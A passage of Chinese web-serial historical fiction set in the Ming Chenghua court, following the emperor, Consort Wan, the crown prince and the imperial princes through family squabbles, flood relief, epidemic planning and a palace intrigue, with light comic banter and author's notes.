“把泽儿的封地改成江南某地。”周太后要求道。“泽儿一直被哀家精细养着,哪里能够适应闽南的环境。” “不,恰恰相反,六弟写信回来告诉朕,他在闽南的日子,过得轻松又惬意。” “不可能,绝对不可能。”周太后才不相信朱见深说的,坚定的认为朱见深在骗他。 “你就是在骗哀家!” “太后娘娘觉得是,那就是吧!”万贞儿有些不耐烦,忍不住插言道。“要是太后娘娘想去闽南看望崇王,随后安排御林军护送,至于改换封地,那是万万不可行的。” 周太后被万贞儿的话,堵得半晌都说不出话来。 “你你这恶毒的老女人,你放心,你也会有这么一天的。” “鹤归是太子。”万贞儿淡淡的提醒。“深郎的其他孩子,到时候就藩,哪里都可以。本宫不会插手,由着深郎安排。” “还是贞姐理解朕。”朱见深感动得眼泪汪汪,还冲着周太后道。“母后你看看你,再看看贞姐,难道母后就不该学学贞姐,努力理解朕的不容易。” 周太后:“” 这回是真的,周太后险些气炸了肝儿。 “皇帝你不容易?难道哀家就容易?”周太后嘤嘤哭了起来。“哀家可怜的泽儿。怎么就遇上了皇帝你这样的亲哥。” ——就是为了让你离了紫禁城就不容易回来! 朱佑棱搓了搓下颌,突然笑眯眯的开口。“皇祖母,想见六皇叔,那就去闽南好了,只有亲自去了,才知道六皇叔是真的乐不思蜀。” 周太后:“哀家当然要去!哀家才不相信你们的话,哀家的泽儿一定吃了不少的苦。” 朱佑棱配合的点头。“皇祖母说是,那就是吧!” “什么哀家说是就是”周太后很是生气的瞪了朱佑棱一眼,又道。“哀家的泽儿,就是吃苦受罪了。” “对对对,六弟是像母后说的那样,在闽南那儿当土皇帝的时候受了罪,而且那罪还不小呢!” 朱见深说这样的话,本来是在阴阳怪气,但谁让周太后好话听不懂,偏偏听懂了朱见深的阴阳怪气。 但周太后,并不认为朱见深的话,是在阴阳怪气。周太后只觉得是朱见深控制不了她给与的压力,所以只能承认朱见泽的日子过得不好,而且是十分的不好! 天地良心,朱见泽这家伙,是真的乐不思蜀。没有事儿精亲妈时不时折腾,封地上的王府又全部归他管,朱见泽怎么不开心,甚至上个月还以王妃养的猫一胎六宝为借口,大摆宴席。 这样的生活,不叫乐不思蜀又叫什么! 不过好在周太后不愿相信朱见泽离开亲娘的身边,日子会过得好,坚定的认为朱见泽受了天大的委屈。 这下子更加坚定了周太后要从京师前往闽南,为偏疼的小儿子当家做主的想法。 于是乎,在又张嘴将朱见深骂了一顿后,周太后就开始整理行李。于三日后,浩浩荡荡出宫出京师,直奔闽南。 而周太后一走,朱见深觉得自己整个人都轻松了,连续好几日都保持了好心情。 然鹅有时候吧,命运这折磨人的小妖精,根本不允许人能够连续保持好心情。 川蜀荣县,发生农民起义。 起义军在很短的时间内,攻下荣县县城,并占领官府的仓库,释放了被关押的囚犯。 之后,他们又去攻打犍为县,所到之处都取得了胜利。 兵部尚书白圭直接当朝说,命令当地的镇守官员和巡按御史带领军队去围剿,如果兵力不够,可以从附近州县调兵。 并且直言说,不能宽容放纵,以免发展成像天顺年间赵铎领导的那种大规模起义。 朱见深自然批准了这个建议。同时,提拔江西布政使夏埙为右副都御史,派他前往去川蜀做巡抚,负责处理此事。 夏埙到任后,制定了一套名叫“互知会捕法”的制度,在加强地区间的联防和信息互通,共同搜捕起义军,最终历时几个月,这场起义被镇压了下去。 之后七月,东南沿海地区爆发了特大的洪水灾害,江水和海水疯狂上涨,漫溢成灾。 苏州、松江(今属上海)、扬州三府,以及整个浙江省都遭受了海啸(风暴潮)的袭击。特别是杭州、绍兴、嘉兴、湖州、宁波这五府,灾情极为严重。 洪水淹没了大片的庄稼和田地,冲垮、漂走了无数官方和百姓的房屋、家畜和财产。而根据统计,总共有28460多人,在洪水中不幸溺亡。 此消息一出,举国哗然。中枢朝廷当即严令受灾地区紧急修筑海堤。一方面是为了防御海水再次漫溢,另一方面也有利于内陆的洪水能顺畅排入大海。 修筑的海堤大概分为两段,并且两段同时修筑。 第一段 ,从浙江的海盐县一直修到上海县,总长度达 34169丈 ,约合113公里。 第二段 ,则从上海县和华亭县 (今上海松江区)修到嘉定县 (今上海嘉定区),总长度为 17748丈 ,约合59公里。 并且中枢朝廷,还直接规定,修筑的海堤必须统一标准,高度为一丈七尺 ,约5.6米,堤坝的底部宽度为四丈 ,约13米,顶部宽度则为二丈 ,约6.6米,总体来讲,这是一个非常宏大的水利工程。 并且洪灾海溢等灾难爆发,百姓流离失所。在修建防洪堤坝的同时,也要做好灾民安置工作。 对此,中枢朝廷接连派出了二十人次的钦差,分地区赶赴灾区赈灾。 并且由于灾难爆发得突然,受到天灾摧残的地区又属于鱼米之乡,主要产粮的地区,导致很多库存的粮食都被洪水冲毁。 赈灾的话,自然需要粮草。而当地的粮仓被摧毁得差不多怎么办,只能选择北粮南调。 就是说北方出产的粮食,经过运输送到江南以及沿海一带。 对了,还有安南郡那儿,粮食可是一年三熟的。朱见浚前往安南郡就藩后,就开始按照朱见深的意思,大力开垦荒地种植各种高产农作物,并不局限于种植占城水稻。 什么玉黍、红薯、马铃薯等,朱见浚都种植了。这回洪灾海溢来袭,朱见浚接到朱见深亲自发出的调拨粮食的命令后,就亲自带队押送一批粮食前往江南一带,并且路过闽南的时候,还把喜欢上了吃椰子炖鸡的朱见泽一并儿带上。 而周太后呢,觉得朱见浚这小子太讨厌,她还没有对朱见泽展现完自己蓬勃的母爱呢,朱见泽就被他带走了。没办法,周太后干脆就见天的折腾崇王妃和崇王侧妃,惹得崇王妃和崇王侧妃无语至极的同时,还不敢像万贞儿那般直接翻脸—— 作者有话说:更新o(* ̄︶ ̄*)o 第62章 第062章 没办法,周太后除了是婆婆…… 没办法, 周太后除了是婆婆外,还是当朝太后。连当今皇帝都拿她没法儿,何况是身份上天然低一等级的崇王妃和侧妃。 “臣妾算是明白为何万岁爷将咱们王爷的封地划拨到闽南了。”崇王侧妃好不郁闷,只能在私底下对着崇王妃吐槽, 她们的婆婆真是事儿精。 关键还是不敢惹的事儿精。 “有时候臣妾真的好羡慕万皇贵妃娘娘!”崇王侧妃又道。“不像咱们, 那是一丁点的不满, 都不敢表露出来。” “你不敢?难道我就敢?”崇王妃叹气道。“也怪吉王殿下, 你说好好的, 干嘛非要往咱们这地界儿过?” “过就过吧, 干嘛还要来跟王爷打招呼。这下好了, 王爷跟着一块儿去送粮, 我们俩留在家里” “没有事儿精的婆婆倒也舒坦, 可惜” 崇王妃和崇王侧妃同时叹了一口气。感觉完全对生活失去了热情。其实也不怪崇王妃和崇王侧妃他们俩。 主要周太后的杀伤力,一般真的超级难抗。首先作为婆婆,周太后就对儿媳妇有天然的压制能耐,除非能像万贞儿那般了解周太后,不然真的抗不住周太后层出不穷折腾人的招儿。 “从明儿开始装病吧。”崇王妃到底看在同病相怜的份上, 提醒崇王侧妃一句。 “反正王府管家在呢, 有什么事儿,由他处理最好。”崇王妃抱着庆幸的态度说,“万一我是说万一, 太后娘娘想万岁爷这个儿子,决定从闽南回京师呢!” 此话一出, 崇王侧妃心中顿时期盼极了,“万岁爷也是太后娘娘的儿子,太后娘娘即使再偏疼咱们王爷,心中也是有万岁爷的吧!” 最后的话, 崇王侧妃说得极度不自信,但没办法!主要还是周太后偏疼朱见泽的行为,太让人印象深刻了。 而大儿子朱见深,如今大明的皇帝陛下,抱歉,还真就没在周太后那儿感受多少母爱。 如果不是周太后吝啬给予朱见深母爱,万贞儿和朱见深说不定不会成一对儿。最开始万贞儿和朱见深,其实就是相濡以沫的亲情,随着共患难,随着生死与共,万贞儿和朱见深就成了一对儿。 万贞儿和朱见深之间的感情,是超越爱情的。周太后估计也懂,所以她上蹿下跳,却总在朱见深能接受的底线上踩来踩去。 也就万贞儿了解周太后,并且将周太后拿捏得死死的,换做其他人 想要像万贞儿那般拿捏周太后,那是绝对不可能的事儿。崇王侧妃期待的,也就仅仅是期待而已。 周太后未来会在闽南住很长一段时间,毕竟闽南这地界儿,除了有她亲情小儿子在,闽南出产的荔枝、椰子、菠萝、火龙果等热带水果,周太后也爱的。 跟着朱见浚走的朱见泽很快乐,不止字面上的意思。 朱见泽觉得朱见浚就是他的亲弟弟,一连几天都和朱见浚形影不离,哪怕赶路途中解决生理需要,也是寸步不离。 朱见浚却觉得烦,还道。“六哥啊,咱们都各自娶了妻子,就没必要尿尿的时候,都要站在一起吧。又不是在比大小!” “七弟,你想比大小,也是可以的。”朱见泽呲牙含蓄一笑。 朱见浚:“” “我真不该中途改道闽南接你。”朱见浚吐槽。“就该让六哥你被母后折腾到晚上都睡不着觉。” “本王就知道七弟喜欢六哥。”朱见泽才不介意朱见浚的吐槽呢,甚至还挺高兴的凑得更近。 “看看,看看,本王尿得比你高!” 朱见浚:“” 这届的藩王,貌似有亿点儿大病! 不止朱见泽,包括朱见浚在内,都有亿点儿大病! “我在安南郡,待了几个月,开了上万顷的荒地。”朱见浚果断穿好亵裤,并转移话题说。 “我发现安南郡的土地,当真肥沃。只要将粮种种下,甚至不用特意施肥,就能长出翠绿的秧苗。” “不过当地人的饮食,当本王很不习惯。六哥你知道吗,他们居然吃虫。” 朱见浚露出不忍直视的表情,显然没想到安南郡当地人居然吃虫。 “油炸虫子很好吃的。”朱见泽却是道。“闽南这边也吃虫。本王尝过,感觉还挺可以的。” 朱见浚:“???” “你没有开玩笑?”朱见浚差点弹跳起来,“你居然吃虫?六哥你中毒了?还是被人逼着吃的!” “没有。就是他们在烤那个椰子树里的那个,胖乎乎的虫子,说叫什么象鼻虫,说吃起来脆甜多汁,很好吃的。本王就好奇的吃了,结果发现他们没有说假话。并且那虫油炸起来好吃。” 朱见浚:“” “咦,六哥你真的是” 朱见浚搓了搓胳膊,不知道该说什么话来缓和自己那颗被惊到的心。 转而说起朱见治和朱见沛。 “也不知道八弟还有没有继续尿床,九弟还又没继续补裤|裆。” “八弟大了,注意点,还是不会尿床的。至于九弟”朱见泽想想,由衷的说。“都是弟弟,做哥哥的,要懂得包容每一个弟弟,万一九弟,他的兴趣爱好,就是补裤|裆呢!” “也对!” 朱见浚仔细一想,挺赞同朱见泽的观点,他们这届藩王,个个都有才艺。比如他,现在才发现自己的优点在种田上。 而朱见泽,他的优点大概在敢于尝试新鲜事务吧! 很快,运粮的车队继续前进。又过了两天两夜,运粮的车队顺利抵达江南。 第一站也是最后一站是杭州,朱见浚和朱见泽将粮食交给赈灾的钦差,就快快乐乐的在杭州玩耍起来。 最后俩逗比,也不知哪根筋儿不对,居然坐着画舫跑去了金陵,在哪里玩得十分快乐。 也让接到消息的朱见深不知道说什么了。 “藩王无故不得出封地。”朱见深‘嘶’了一声表示牙疼。“运粮也就罢了,朕谢了他们俩的大方。可只送到杭州就去玩耍,还一路玩耍到了金陵,这又是什么神奇操作?” “不知道。大概就是生性不拘爱放浪吧!”朱佑棱感叹说。“反正都是皇叔,都是父皇的弟弟,父皇要揍他们,不管谁都不敢阻止。” “谁说没人阻止的,你皇祖母就会阻止。” “但也只阻止你揍六皇叔,不是还有七皇叔任由你揍嘛。”朱佑棱看了一眼表情奇奇怪怪的朱见深。 朱见深咬牙:“单揍朱见浚,朕心里不舒坦。” “那就两人一起揍呗。”朱佑棱无语的说。“你是皇帝,想揍谁就揍谁,再说了皇祖母在闽南呢,知道父皇你把六皇叔一并儿揍了,那也迟了。” “谁说迟了,就你皇祖母那个脾气,她能不管不顾直接杀到京师狠狠的骂朕一通!” “可是父皇,皇祖母在宫里的时候,不也经常骂你嘛。”朱佑棱更加无语的说。“你都任由皇祖母骂,根本不放在心上。” 至于揍,不好意思,周太后还真不敢对朱见深动手。毕竟周太后能坐上太后的宝座,完全母凭子贵,朱见深成为皇帝,周太后因此母凭子贵成为太后 没了朱见深,周太后什么都不是,充其量不过太妃而已。周太后平日里不管怎么闹腾,都是仗着皇帝是她的亲儿子。 所以啊,不管对朱见深怎么生气,周太后都只是骂,而不是揍。 朱见深:“” “朕知道鹤归你是想说,朕的亲娘不爱朕。”朱见深冷哼,干巴巴的道。 啊这! 朱佑棱挠挠脑袋,发出故意的傻笑。 “父皇要这么想,儿子也没有办法。” 朱见深闻言再次哼了哼。“朕很小的时候就知道了,她不爱朕,那朕也不爱她。而且朕,只需要贞姐爱朕就可以了。” 是的! 在朱见深的想法里,他最爱的永远是万贞儿,而万贞儿爱的,也永远是他。 “朕亲自写信,狠狠的骂他们俩一顿。”朱见深绝对不是见不得朱见泽和朱见浚的快乐时光,而是 祖宗规定,藩王不得无故离开封地! “怀恩,拟旨,告诉那两玩意儿,赶紧给朕滚来京城请罪。”朱见深又改了主意,不打算亲自写信,而是让怀恩公公代笔。 挺不好意思的,朱见深的字,只能说写得不难看,谈不上好看,而是工整。倒是怀恩公公写得一手好字,平日里都是怀恩公公代笔写圣旨,而不是朱见深亲自写。 “六皇叔和七皇孙在金陵‘招花惹草’得来的美人儿怎么处理?”朱佑棱突然道。“如果不处理了,只怕后续会有麻烦出来。” 朱见深冷不丁的懵了。“麻烦,什么麻烦?” “沧海遗珠。”朱佑棱感叹。“就怕六皇叔打着父皇的名义,处处留情,然后十八年后,沧海遗珠找上门来,口口声声说父皇是她/他的父亲。” 朱见深:“” “怀恩,给朕加一点,不,告诉送圣旨的小黄门,给朕狠狠的揍他们一顿。”朱见深咬牙切齿。“家花不如野花香?好好的为国分忧,这俩兔崽子给朕变成了风流韵事。” 朱佑棱挺见机的给朱见深递了一杯茶水,让朱见深喝几口润润喉。 “父皇淡定!”朱佑棱不走心的安慰。“儿子猜测的不一定会发生,即便真的发生,那也是几年后,甚至十几年后的事儿。父皇真的没必要这么生气,实在生气,先让小黄门安排人揍一顿,等六皇叔、七皇叔拎回京城后,父皇再亲自上手揍一顿不就解气了?”—— 作者有话说:更新o(* ̄︶ ̄*)o 第63章 第063章 没有一顿打是解决不了问题…… 没有一顿打是解决不了问题的, 如果有,那就两顿。两顿不行,那就三顿,总能将叛逆的弟弟扭回来的。 哦! 目前他的弟弟还在吃奶, 不属于叛逆弟弟行列。 朱佑棱瞄了一眼朱见深, 由衷的说。“父皇啊, 儿臣觉得, 目前儿臣已经有了两弟弟, 你就不必再给儿子制造弟弟了吧!” 朱见深斜眼瞄他。 朱佑棱继续说道。“像父皇, 那么多的弟弟, 封地的封赏就是大大的问题, 全国国库收入就那么多, 还要分薄封地的利益给藩王们,哎,和平时期还好,可要是发生天灾人祸,养不起真的养不起。” “朕都没有说养不起的话, 你倒是说了。” 朱佑棱道:“儿子习惯实话实话。” “那鹤归以后, 可以试着说假话。”朱见深无奈的说。“你以为朕愿意当冤大头,养着不事生产的藩王啊。可朕没那个本事削藩,所以就这样吧, 以后鹤归你继承皇位后,削藩与否就交给你自己决定。” 朱佑棱点头, 表示自己知道了。 不过该嫌弃的,还是要嫌弃。说真的,朱见深这样,都不知道该说他苟呢, 还是说他苟!!! 反正是个会坑崽的坑货爹! 朱佑棱摇头晃脑,继续批阅奏折,今儿的奏折比昨天至少多了一倍,几乎全是和水灾海溢过后出现的疫病有关。 得小心翼翼,仔仔细细的看。 而且看过之后,还要分类,重要的放在一旁,不重要的放在一旁。等上早朝的时候,群臣一起商议重要的事情。 当然,这是一般情况下,会选择做的事情。不一般的情况下,比如说有需要紧急处理的,都会将奏折交给内阁大臣们传阅,并询问内阁大臣们的意思。 说白了,内阁大臣们就是助手,协助皇帝治理好国家。 当然皇帝将该他做的工作,都一股脑的甩给内阁大臣们处理也行。木匠皇帝在位的时候几乎没有上朝,国家机构不也运转得顺顺利利嘛。 皇帝可以勤政,也可以怠政,端看当皇帝的如何选择。 而明显朱见深这位皇帝,称得上勤政的代表。并且不会不懂装懂,就是在文武百官‘唱反调’的情况下,越发的容易暴躁。 “通知彭卿等人,开个小朝会。” 朱见深丢下朱笔,打发人去文阁殿请几位内阁大人过来。今天商辂告病在家休假,没来打卡上班。 彭时则在工部,和兵部尚书白圭吵架。李贤呢,也告病休假。内阁大臣们,一共就来了四位。 万安、彭时、白圭以及杨鼎在 杨鼎是户部尚书,掌管国家财政。为人嘛,挺正直的。但就是脑回路有点儿迥于常人。 不对,事实上,成化年间,连同皇帝在内,文武百官多多少少都有点儿迥于常人。 有时候吧,不像在解决问题,而是问题解决他们。 好比如这回,朱见深询问大灾之后可能爆发的疫病该如何预防,四位内阁大臣顿时不开腔了。 不知道是不知道怎么说呢,还是不知道该怎么开口,总之沉默在蔓延。 朱佑棱在一旁安安静静的等着。 朱见深也在等,越等脸色越发的不好。 “朕没有想到,今儿你们四人居然一个个的给朕装起了深沉。”朱见深没好气的开口。“大灾之后必有大疫。这点不用朕说,朕相信四位爱卿也都清楚。现在朕所思所想,就是怕大疫出现,迅速蔓延开来。到那个时候,可不是简简单单防疫就能解决的。” 彭时:“万岁爷,其实这事儿得问太医院的太医,如何预防大疫,疫病出现后,又该如何治疗,太医院的太医才清楚。万岁爷问我等,我等实在不知该怎么回答。” 杨鼎也道。“回禀万岁爷,好让万岁爷知晓国库吃紧,怕是没有多余的税银拿来做防疫。” 朱见深:“” “大灾之后必有大疫。”朱佑棱开口道。“孤相信这句话,但孤感觉你们貌似不赞同这话。” 万安摇头,回答说:“大灾之后必有大疫,乃是老祖宗的智慧。老臣觉得,即便发生大疫,大概会是鼠疫首当其冲。” 朱佑棱点头。“孤也是这样想的。” “总要定下个章程来。”朱佑棱感叹。“没有章程,万一设想的最坏事情发生了怎么办。” 万安:“那就要看户部的了。” 杨鼎撇头看向万安,仿佛不敢置信他会这样说。但万安说得没错,凡事都得看户部,毕竟户部管理着国家财政。而不管干什么,都需要钱财。 “国库先挪出二十万银两。”朱见深开口道:“找太医院好好问问,有何关于防疫的药方。” “好的万岁爷。”没办法,杨鼎揽过此事儿,也就将关于防疫的话题略过去,改说其他的。 边关布防,军饷以及税收等等 讨论了很久,最后定下章程,等上早朝的时候,再把定下的章程拿出来再次讨论。 而商议好了后,朱见深整个人显得异常疲惫,连继续批改奏折的心思都没有。索性奏折其实已经批改得差不多了,朱见深便把批阅奏折的活儿,都交给朱佑棱,他则跑去安喜宫找万贞儿寻求安慰,而把朱佑棱丢在了乾清宫养心殿。 朱佑棱:“” “孤就这么没存在感?” 朱佑棱无语凌乱,都不知道该说什么,来形容自己此时此刻操蛋的心情。 反正挺复杂的心情! 铜钱优雅的待在屋檐上,假装没有听到朱佑棱的抱怨。朱佑棱呢,也是无奈,只能认命的继续批阅奏折。大概过了一个小时左右吧,朱佑棱总算将奏折批阅完毕。 之后朱佑棱跑去睡觉,大约睡了一个时辰左右,就被乾清宫伺候的宫人叫醒。 “太子殿下,该用膳了。” “孤回安喜宫吃。” 朱佑棱招来人安排步撵,就准备回安喜宫,没曾想被一位宫娥凄凄切切的叫住了。 “???” 朱佑棱挺不耐烦的,但还是问了一句宫娥有什么事儿。 结果宫娥什么话都没有说,直接就给朱佑棱跪下。 朱佑棱这下子更加摸不清头脑。 “你到底想干嘛?”朱佑棱没好气的说。 “还请太子殿下饶命。”宫娥期期艾艾的开口。“奴婢得幸伺候了万岁爷几回,如今疑似有了生育,还请太子殿下” “这事儿别找孤,孤还小呢!” 朱佑棱也没有说相信宫娥的话呢,还是不相信,反正就一个意思,别拿朱见深睡女人的事情,来找他帮忙。 拜托! 这样的事情,找他一个孩子合适? 无语至极的朱佑棱直接上了步撵,看都没有看仿佛失去力气,跌坐在地上的宫娥。 步撵缓缓而行,在回安喜宫的路上,跟着步撵走的铜钱突然开口道。“太子殿下,此女的用意,其实已经达到了。” “孤知晓。”朱佑棱没好气的说。“娘亲一向疼孤,那女子居然敢算计孤,瞧着吧,即便确诊真的怀孕,她也没有好果子吃。” 就万贞儿护崽的架势,只怕那宫娥已经预定‘去母留子’单程票套餐。 果不其然,等步撵抵达安喜宫,朱佑棱从步撵下来,直奔万贞儿怀抱,腻腻歪歪好一会儿,等朱佑棱准备说的时候,万贞儿表示自己已经知道了。 “那等上不了台面的玩意儿,认真就输了。”万贞儿说到这儿,没好气的瞪了朱见深一眼。 朱见深自知理亏,不好意思的搓了搓下颌。 “兔子还不吃窝边草呢,深郎越发的不讲究了。” 骂得不脏,但是呢,朱见深更加心虚,就连朱佑棱也在偷笑。 “朕错了。”朱见深果断道歉,“朕就是无意中,好像,貌似,就睡过那么一次,而且事后朕已经让她服下避子汤了。” 朱佑棱:“如果真有了,那么证明当初那碗避子汤,根本就没有喝。” “罢了,父皇也不用摆出这样为难的样子。”朱佑棱嬉笑着嘲笑朱见深。“兔子还不吃窝边草呢父皇!” 朱见深:“” 万贞儿这样说他,朱见深有的都是心虚,而朱佑棱这样说他,朱见深就想要揍崽。 这不,朱见深看朱佑棱的眼神,已经越来越深幽了。 “父皇你得好好想想。”朱佑棱再次说道。“要杜绝此类事情再次发生。” “对啊!”万贞儿冷哼,开始阴阳怪气起来。“后宫又不是没有其他女人,怎么深郎就这样呢!让臣妾的心里,真心不好受。仿佛臣妾是什么善妒的人。” “贞姐最好了,朕保证朕下次再也不犯这样的错误。”朱见深连连保证,结果见万贞儿红了眼眶,那就更加的紧张,连哄带赔罪的,不知道说了多少软话! 万贞儿本就借机撒娇,证明自己也是会拈酸吃醋的。很快见好就收,倒是幸灾乐祸的朱佑棱被罚没有鱼糜蛋羹吃! 朱佑棱:“”—— 作者有话说:更新o(* ̄︶ ̄*)o 第64章 第064章 朱佑棱对此毫不在意,甚至…… 朱佑棱对此毫不在意, 甚至还挺自觉,直接端起那碗被点名不准吃的鱼糜蛋羹,跑去隔壁桌安静,且独自一人吃。 朱见深对朱佑棱这突如其来的举动, 简直震惊得要死。 “这兔崽子” “深郎的生肖的确属兔。”万贞儿捂嘴偷笑。“兔崽子这话, 还真骂对了。” 朱见深:“贞姐。” “好了深郎, 鹤归多大, 深郎又多大, 深郎怎么能跟鹤归一般见识。” “臭小子看朕笑话。” 朱见深哼唧, 到底没耍赖吵闹。而朱佑棱呢, 吃了鱼糜蛋羹后, 又吃了不少的东西, 才慢条斯理的离开大殿,转而绕着种了不少植被的后殿园子散步。 这是饭后消食,别说这么走走,吃得饱饱的肚子,还挺舒服的。 大概走了十来圈, 自认为已经消食的朱佑棱就回到所住偏殿的东暖阁休息。 西暖阁一般是万贞儿所宿的寝室。面积不算大, 寝室内也没有摆很多东西,除了火炕床外,还有摆放着东西的八宝阁。 东暖阁也是如此, 不过里面摆件,最多的还是和书桌连在一块儿的书架, 放满了书籍。 当然,大多是闲书。四书五经、农学算术等书籍,自然放在藏书阁。有时候朱佑棱会借一两本来看,看过之后就会还回去。而藏书阁那边, 也有专门的书吏,负责抄录孤本另做保存。 回屋的朱佑棱按照惯例,先看了一会儿闲书,然后在差不多晚上9点左右,准时上床睡觉。 不过今儿,朱佑棱显然忘了这个自己定下的规矩。原因无他,主要是他怎么也没有想到随手拿的一本书,居然是前前朝野史。 “啊,哪个人才写的?”朱佑棱看得那叫一个目瞪口呆。“大辽摄政王卖皮燕子一路高升?” “果然正史不够正,但野史一定够野。”朱佑棱感叹一句,突然意识到不对。“等等,大辽有摄政王?” 朱佑棱陷入沉思,片刻得出结论。“有摄政太后,也有摄政皇太帝,就是没有摄政王。想必野史嘛,模糊那人具体身份,留无限遐想空间供后人猜测” “嘶,不过这野史,是真野啊!” 话这样说,朱佑棱看得却更加认真,一会儿惊呼,一会儿赞叹,总之将那本打着‘大辽野史’名号的书籍,当成玄幻小说来看。别说,真的挺带劲儿。 不知不觉,时间已经来到将近凌晨一点。朱佑棱完全犯困了,这才依依不舍的放下《大辽野史》,转而睡觉。 第二天不上早朝,朱佑棱本来以为自己会睡很久,但没想到天刚蒙蒙亮,朱佑棱就被叫醒。 朱佑棱:“?今天不上早朝啊!” “但是今儿鹤归还是要去上书房读书。”朱见深笑得讨打,贱兮兮的说。“朕特意早起,就只为亲自送鹤归去上书房读书。鹤归啊,父皇如此爱你,你感不感动?” “不敢动,一点都不敢动!”朱佑棱呆滞着脸,言不由衷的哼唧。“反正孤是父皇的儿子,父皇如何对待儿子,儿子都没有话说。” 朱见深伸手戳了戳朱佑棱肥嘟嘟的脸蛋儿。 “鹤归啊,你的小嘴都快挂油壶了,还没有话说。”朱见深取笑起朱佑棱,只差没有哈哈大笑。 真的挺讨打。 朱佑棱瞄了他一眼,就没有理会他。更衣洗漱,都有宫人帮忙,朱有棱迷迷糊糊,等开始吃早膳的时候,才稍微清醒点点。 “昨晚上鹤归睡得晚?”万贞儿亲自动手给儿子、丈夫分别舀了一碗粥。 “嗯,睡得很晚。”朱佑棱老老实实的回答。“儿子在看《大辽野史》,内容实在精彩,一时之间忘了时辰这才睡晚了。” “《大辽野史》?藏书阁有这本书?”朱见深惊讶满满,表示对《大辽野史》这本书的好奇。 “主要内容是什么?” “关于大辽摄政王卖皮燕子的高升史。”朱佑棱一本正经的说出令人目瞪口呆的话。 正在喝汤的万贞儿顿时喷了。 她赶紧拿着手帕擦嘴,止住咳嗽道。“这谁写的,居然还敢放在藏书阁,供人借阅。” “好像是什么潇洒居士。”朱佑棱想想,又道。“这不容易,不管谁写的,大概都不敢明目张胆的写真名。” “野史?胡编乱造!”朱见深哼了哼。“当成故事来看可以。” “儿子觉得,再怎么胡编乱造,也在一定事实上加工而成的。”朱佑棱又道。“儿子看了之后就在猜测那位摄政王是谁!” “谁啊!”朱见深这回是真好奇了,连忙问朱佑棱怀疑的大辽摄政王是谁。 “耶律隆庆。”朱佑棱振振有词的说。“辽圣宗耶律隆绪12岁即位(公元983年),由承天太后萧绰(萧太后)临朝听政。当时,萧太后为了巩固政权,任命圣宗的亲弟弟,年仅9岁的耶律隆庆为 “南京留守、摄政事” ,并封为梁王。” 朱见深:“9岁的孩子。” “哎,只是这么猜猜而已。”朱佑棱又道。“他们游牧民族,哪怕建国,也有‘兄亡弟继’的传统。小时候没问题,长大后就不知道了。” 朱见深:“” “好了,别说这些了。反正野史肯定够野”万贞儿轻笑起来,还拿自己举例。“就像我,瞧着吧,有那些文官在,我的名声肯定不好。” 朱佑棱:“没办法,谁让读书人那张嘴,要想污蔑一个人太简单了。” “儿子不在意,娘亲也不要在意。等儿子长大,会亲自写史书,将娘亲的美好,都一一写出来。至于父皇,哎,其实读书人也不敢乱说得太过分,最多就是说父皇毫无建树,且固执不听言官劝谏。” “还会说朕喜欢抄家。”朱见深哼了哼,“是喜欢抄家?明明是贪官污吏太多,朕不得不杀鸡儆猴。” “啊对!必须杀鸡儆猴。” 别说,抄家一次得了差不多全国一年的税收收入,缺钱的时候,就想着第二次,第三次,然后第四次 抄家真的会抄上瘾。毕竟来钱快,还清理蛀虫,又有免费的劳力干苦工,相较名声不好听那点儿损失,朱佑棱觉得还是能够承受住的。 “好处咱们得了就行,少许名声受损,小问题。” “你倒是大度。”朱见深哼了哼,有点儿阴阳怪气,朱佑棱这回没有理他,开始吃美味的虾饺以及蟹黄包。 “金秋螃蟹肥。”万贞儿给父子俩分别捡了个蟹黄包。“去年酿了一些菊花酒,等中午取一坛,再蒸上几只螃蟹,对了,鹤归吃不吃烤的鱼?” “要吃,蒸螃蟹烤鱼,还有虾,煮虾仁粥。” 朱佑棱开始点餐,还说起菊花酿的事,不是菊花酒,而是菊花酿。相较菊花酒,菊花酿度数很低,算是一种古代特有的饮料,适合老人孩子女人喝。 万贞儿点头,倒没有拒绝再开一坛菊花酿。一会儿用完早膳,万贞儿安排人手去皇庄捞捕最新鲜肥美的河蟹,捞捕到后,就分别给教导朱佑棱读书的几位内阁大臣送去。 一家差不多送了10只河蟹,宫里则送了一筐河蟹,都是差不多五六两一只。 河蟹送来后,又给皇子所的朱见治、朱见沛分了分,又送去给住在慈宁慈安两宫的太妃们送点,到头来剩了20只螃蟹。万贞儿干脆吩咐,将20只螃蟹全部蒸上。 去腥用的酒,是绍兴黄酒。用了很多,螃蟹蒸好后,浓郁的酒香已经渗透进了螃蟹里。 螃蟹寒凉不易多吃,万贞儿也就用了一只螃蟹,开始和菊花酒,吃着烤得焦香的烤鱼,又觉得红烧的河虾好吃,不免多吃了几筷子的虾。 还有虾仁粥,里面放了切碎的虾仁,以及切成碎丁的萝卜,汤味好,吃起来根本就没有河鲜的土腥味儿。 吃过午膳,朱佑棱休息一会儿,又去上课。这回是彭时给他上的课,说起疫病的时候,彭时不免骂那些个只会抓鸡毛蒜皮小事儿闹个不停地言官。 “只敢抓小事儿,大事不敢抓。”朱佑棱很是认真的说。“御史台大夫的路,基本都走偏了。怎么能尽盯着皇家宗室,那些官员,德性不好,也该参一本。” “你说的对。” 彭时点头,赞同朱佑棱的观点。 “彭师傅,你说江南一带灾情如何?朝廷派了差不多20名钦差赶赴江南一带赈灾,已经过去20来天了,该有结果送来了吧!” “回禀太子殿下,好让太子殿下知晓,其实有时候,没消息比有消息好,等有了消息,定然会是好结果。” “但愿如此。”朱佑棱一本正经的点头,却道。“孤其实有种很不详的预感,总感觉会发生什么不好的事情。” 说到这儿,朱佑棱倒是一愣,随即不可思议的道。“大灾之后必有大疫,孤不会乌鸦嘴,说中了这点吧!” 彭时:“应该不会,太子殿下多想了。”—— 作者有话说:隔壁《女帝之路,我走得很顺畅[快穿]》明天12点开! (~ ̄▽ ̄)~ 第65章 第065章 “都说好的不灵坏的灵,说…… “都说好的不灵坏的灵, 说真的,孤觉得孤所言,孤有乌鸦嘴这样的潜质。” 顿了顿,朱佑棱又道。“当然孤不是在愧疚。本来大灾之后必有大疫的说法, 从古至今都有, 孤只是觉得孤说准了, 还是该提前做好准备。” “朝廷已经准备妥当。” “太医院已经给了防疫的药方, 这孤知晓。”说到这儿, 朱佑棱还重重的点头。 “孤觉得, 有太医院医术精湛的太医们的加持, 即便真的爆发大疫, 也能很快的遏制。” “太子殿下说的及是。”彭时赞同的道。“老夫不是很担心, 正是因为信任太医院太医们精湛的医术。” “那就好。”朱佑棱微微颔首,突然又道。“对了,孤昨儿从藏书阁拿了几本书,等看过其中一本才知晓,孤拿的书籍都是野史。并且, 逍遥居士这位作者, 孤总觉得很熟悉。” 